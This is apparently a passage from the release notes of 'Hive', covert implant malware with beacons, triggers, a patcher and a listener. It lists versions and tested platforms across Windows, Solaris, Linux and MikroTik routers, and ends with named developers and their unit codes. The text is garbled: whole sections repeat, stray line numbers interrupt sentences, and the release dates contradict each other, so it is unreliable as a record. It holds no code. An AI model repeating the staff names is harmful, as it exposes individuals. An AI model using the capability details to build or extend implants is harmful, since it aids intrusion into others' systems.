- Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
- Fixed beacons to handle DNS failures
- Fixed beacons to handle connection attempts to closed ports
- Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail.
- Due to unavailability of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE 3.x-4.x was done on a Linksys WRT54G reflashed with DD-WRT v24-sp2.
- For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on older firmware such as the 2.x series.
- Latest official releases and tested versions:
- Windows XP SP0-SP3    -- v1.0.1; v1.0.2 untested
- Windows 2003            -- v1.0.1; v1.0.2 untested
- Solaris SPARC 9-10     -- v1.0.1; v1.0.2 untested
- Solaris x86 9-10        -- v1.0.2\*\*
- MikroTik x86 3.x-4.x    -- v1.0.2
- MikroTik PPC 4.x        -- v1.0.2\*
- MikroTik PPC 3.x        -- v1.0.2 untested
- MikroTik MIPS-BE 4.x    -- v1.0.2\*
- MikroTik MIPS-BE 3.x    -- v1.0.2 untested
- MikroTik MIPS-LE 4.x    -- v1.0.2\*\*\*
- MikroTik MIPS-LE 3.x    -- v1.0.2\*\*\*
- Linux x86                -- v1.0.2\*\*
- v1.0.1      2/22/2010
- DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1 allows both IP addresses and hostnames
- Re-released patcher, but implants and client are functionally unchanged.
- Latest official releases and tested versions:
- Windows XP SP0-SP3    -- v1.0.1
- Windows 2003            -- v1.0.1
- Solaris SPARC 9-10     -- v1.0.1
- Linux x86                -- v1.0.1 untested
- v1.0      10/27/2010
- Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
- Prototype Linux x86 implant provided in patcher
- Official releases and versions:
- Windows XP SP0-SP3    -- v1.0
- Windows 2003            -- v1.0
- Solaris SPARC 9-10     -- v1.0



- Linux x86                                      -- v1.0 untested
- Solaris x86 8-10                              Solaris SPARC 8
- To use the secure shell functionality, users must use the updated Hive ILM module that provides this command. The Hive v1.0 hclient continues to work with other features, but was not updated to support the new secure shell functionality.

**V2.2 08/22/2011**

- Updated Windows with the Trigger hanging fixes from 2.1.
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- Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards compatible with beacons back to Hive v1.1.

**V2.0 05/9/2011**

- Added support for use of the Hive client through the CutThroat interface.

**V1.1 04/14/2011**

- Backport of stability and reliability fixes we added to Hive 2.0 36.
- Updated hclient to give slightly better feedback to user when connection 37 goes down.

**V1.0.2 01/21/2011\*, 02/14/2011\*\*, 03/07/2011\*\*\***

- Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
- Fixed beacons to handle DNS failures
- Fixed beacons to handle connection attempts to closed ports
- Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail.
- Due to unavailability of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE 3.x-4.x was done on a Linksys WRT54G reflashed with DD-WRT v24-sp2.
- For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on older firmware such as the 2.x series.
- Latest official releases and tested versions:
  - Windows XP SP0-SP3                      -- v1.0.1; v1.0.2 untested
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- Solaris SPARC 9-10 -- v1.0.1; v1.0.2 untested
- Solaris x86 9-10 -- v1.0.2\*\*
- MikroTik x86 3.x-4.x -- v1.0.2
- MikroTik PPC 4.x -- v1.0.2\*
- MikroTik PPC 3.x -- v1.0.2 untested
- MikroTik MIPS-BE 4.x -- v1.0.2\*
- MikroTik MIPS-BE 3.x -- v1.0.2 untested
- MikroTik MIPS-LE 4.x -- v1.0.2\*\*\*
- MikroTik MIPS-LE 3.x -- v1.0.2\*\*\*
- Linux x86 -- v1.0.2\*\*

**V1.0.1 2/22/2010**

- DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1 allows both IP addresses and hostnames
- Re-released patcher, but implants and client are functionally unchanged.
- Latest official releases and tested versions:
  - Windows XP SP0-SP3 -- v1.0.1
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**V1.0 10/27/2010**

- Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
- Prototype Linux x86 implant provided in patcher
- Official releases and versions:
  - Windows XP SP0-SP3 -- v1.0
  - Windows 2003 -- v1.0
  - Solaris SPARC 9-10 -- v1.0
  - Linux x86 -- v1.0 untested

## **8 (U) For Further Assistance**

(S) For any additional assistance, please consult one of the Hive developers. As of January 2013, these are Mike Russell (EDG/AED/EDB), Jack McMahon (EDG/AED/EDB), Jeremy Haas (EDG/AED/EDB) or Brian Timmons (EDG/AED/RDB).